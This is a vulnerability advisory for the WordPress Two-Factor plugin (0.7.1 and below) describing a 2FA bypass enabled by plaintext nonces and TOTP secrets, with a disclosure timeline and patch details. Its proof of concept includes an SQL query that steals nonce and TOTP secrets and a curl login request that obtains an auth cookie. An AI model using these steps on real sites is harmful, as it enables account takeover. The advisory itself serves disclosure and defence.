Affected plugin | Two-Factor (Plugin contributors) |
Active installs | 40.000+ |
Vulnerable version | <= 0.7.1 |
Audited version | 0.7.1 |
Fully patched version | 0.7.2 |
Recommended remediation | Update to version 0.7.2 or higher |
Description
An attacker can take over the entire site by logging in as any user with two-factor authentication enabled without knowing the user’s primary credentials. The only precondition is that any plugin, theme, or WordPress core has one of the endless read-only SQL-injection vulnerabilities.
Proof of concept
This vulnerability is possible through a combination of multiple security neglects:
- Missing encryption of TOTP secrets.
- Missing hashing of login challenges.
- Blindly trusting user input.
Once a user logs into the site using his username and password, the plugin intercepts the requests and redirects the user to the 2FA form. Before that, a login nonce is created and stored as plaintext in the “wp_usermeta” table.
public static function create_login_nonce( $user_id ) {
$login_nonce = array();
try {
$login_nonce['key'] = bin2hex( random_bytes( 32 ) );
} catch ( Exception $ex ) {
$login_nonce['key'] = wp_hash( $user_id . wp_rand() . microtime(), 'nonce' );
}
$login_nonce['expiration'] = time() + HOUR_IN_SECONDS;
if ( ! update_user_meta( $user_id, self::USER_META_NONCE_KEY, $login_nonce ) ) {
return false;
}
return $login_nonce;
}
The login nonce is then included as a hidden input field with the user’s ID.
<input type="hidden" name="wp-auth-id" id="wp-auth-id" value="<?php echo esc_attr( $user->ID ); ?>" />
<input type="hidden" name="wp-auth-nonce" id="wp-auth-nonce" value="<?php echo esc_attr( $login_nonce ); ?>" />
The login nonce is truly random (32 bytes of entropy), but this does not matter since it is stored as plaintext in the database.
An attacker can use his read-only SQLi to continuously poll the database for inserts with the “_two_factor_nonce” key in the “wp_usermeta” table.
Once a legitimate user initiates his login flow, there will be a 10 to 15 seconds window in which the user enters his generated TOTP from his authentication app.
This window is sufficient to pull off the attack explained below in an automated fashion.
1. Grab the user’s generated nonce and TOTP secret
SELECT user_id, meta_value FROM wp_usermeta WHERE meta_key = '_two_factor_nonce' OR meta_key = '_two_factor_totp_key'
2. Use any programming language to generate a valid TOTP using the stolen secret.
3. Submit the following POST request
curl -X POST https://target.com/wp-login.php?action=validate_2fa -d "wp-auth-id=TARGET_USER_ID" -d "wp-auth-nonce=STOLEN_NONCE" -d "authcode=VALID_TOTP"
The plugin will respond with a valid WordPress auth cookie which can be used to impersonate the target user fully.
The Two_Factor_Core::login_form_validate_2fa method allows this to happen because it will blindly trust the client to supply an honest value for “wp-auth-id,” which the plugin then uses to fetch the user that should be logged in.
$wp_auth_id = filter_input( INPUT_POST, 'wp-auth-id', FILTER_SANITIZE_NUMBER_INT );
$nonce = filter_input( INPUT_POST, 'wp-auth-nonce', FILTER_SANITIZE_STRING );
if ( ! $wp_auth_id || ! $nonce ) {
return;
}
$user = get_userdata( $wp_auth_id );
if ( ! $user ) {
return;
}
// EDITOR: NONCE VALIDATION HERE
// EDITOR: TOTP VALIDATION HERE
// EDITOR: THE USER IS LOGGED IN HERE
Timeline
Vendor contacted | September 07, 2022 |
First Response | September 07, 2022 |
Fully patched at | September 12, 2022 |
Publicly disclosed | April 24, 2023 |
Miscellaneous
- The issue was (partially) fixed by hashing the login nonce before inserting it into the database.
Leave a Reply